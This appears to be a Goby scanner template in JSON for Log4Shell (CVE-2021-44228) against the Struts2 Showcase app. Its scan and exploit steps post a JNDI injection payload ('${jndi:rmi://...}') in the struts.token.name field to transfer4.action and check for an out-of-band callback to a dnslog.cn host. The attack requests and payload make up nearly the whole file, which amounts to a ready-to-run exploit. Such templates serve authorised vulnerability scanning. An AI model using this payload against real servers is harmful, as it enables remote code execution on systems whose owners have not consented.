Goby/json/Struts2_Log4Shell_CVE-2021-...

153 lines
5.7 KiB
JSON

{
"Name": "Struts2 Log4Shell CVE-2021-44228 (1)",
"Level": "3",
"Tags": [
"rce"
],
"GobyQuery": "app=\"Struts2\"",
"Description": "Struts2 is a popular and mature web application framework based on the MVC design pattern.",
"Product": "Struts2",
"Homepage": "https://struts.apache.org/",
"Author": "",
"Impact": "Struts2 Showcase (2.5.27) has a log4j command execution vulnerability, which is triggered by sending data struts.token.name to the /struts2-showcase/token/transfer4.action address.",
"Recommendation": "",
"References": [
"https://nvd.nist.gov/vuln/detail/CVE-2021-44228",
"https://attackerkb.com/topics/in9sPR2Bzt/cve-2021-44228-log4shell/rapid7-analysis"
],
"HasExp": true,
"ExpParams": [
{
"Name": "cmd",
"Type": "input",
"Value": "${jndi:rmi://xxxxdnslog.cn/tes}"
}
],
"ExpTips": {
"Type": "",
"Content": ""
},
"ScanSteps": [
"AND",
{
"Request": {
"method": "GET",
"uri": "http://www.dnslog.cn/getdomain.php",
"follow_redirect": false,
"header": null,
"data_type": "text",
"data": "",
"set_variable": []
},
"ResponseTest": {
"type": "group",
"operation": "AND",
"checks": [
{
"type": "item",
"variable": "$code",
"operation": "==",
"value": "200",
"bz": ""
}
]
},
"SetVariable": [
"dnstest|lastbody||"
]
},
{
"Request": {
"method": "POST",
"uri": "/struts2-showcase/token/transfer4.action",
"follow_redirect": false,
"header": null,
"data_type": "text",
"data": "struts.token.name='${jndi:rmi://{{{dnstest}}}/tes}'",
"set_variable": []
},
"ResponseTest": {
"type": "group",
"operation": "AND",
"checks": [
{
"type": "item",
"variable": "$code",
"operation": "==",
"value": "200",
"bz": ""
}
]
},
"SetVariable": [
"output|lastbody|regex|"
]
},
{
"Request": {
"method": "GET",
"uri": "http://www.dnslog.cn/getrecords.php",
"follow_redirect": false,
"header": null,
"data_type": "text",
"data": "",
"set_variable": []
},
"ResponseTest": {
"type": "group",
"operation": "AND",
"checks": [
{
"type": "item",
"variable": "$code",
"operation": "==",
"value": "200",
"bz": ""
},
{
"type": "item",
"variable": "$body",
"operation": "contains",
"value": "{{{dnstest}}}",
"bz": ""
}
]
},
"SetVariable": [
"output|lastbody|regex|"
]
}
],
"ExploitSteps": [
"AND",
{
"Request": {
"method": "POST",
"uri": "/struts2-showcase/token/transfer4.action",
"follow_redirect": false,
"header": null,
"data_type": "text",
"data": "struts.token.name='{{{cmd}}}'",
"set_variable": []
},
"ResponseTest": {
"type": "group",
"operation": "AND",
"checks": [
{
"type": "item",
"variable": "$code",
"operation": "==",
"value": "200",
"bz": ""
}
]
},
"SetVariable": [
"output|lastbody|regex|"
]
}
],
"PostTime": "0000-00-00 00:00:00",
"GobyVersion": "0.0.0"
}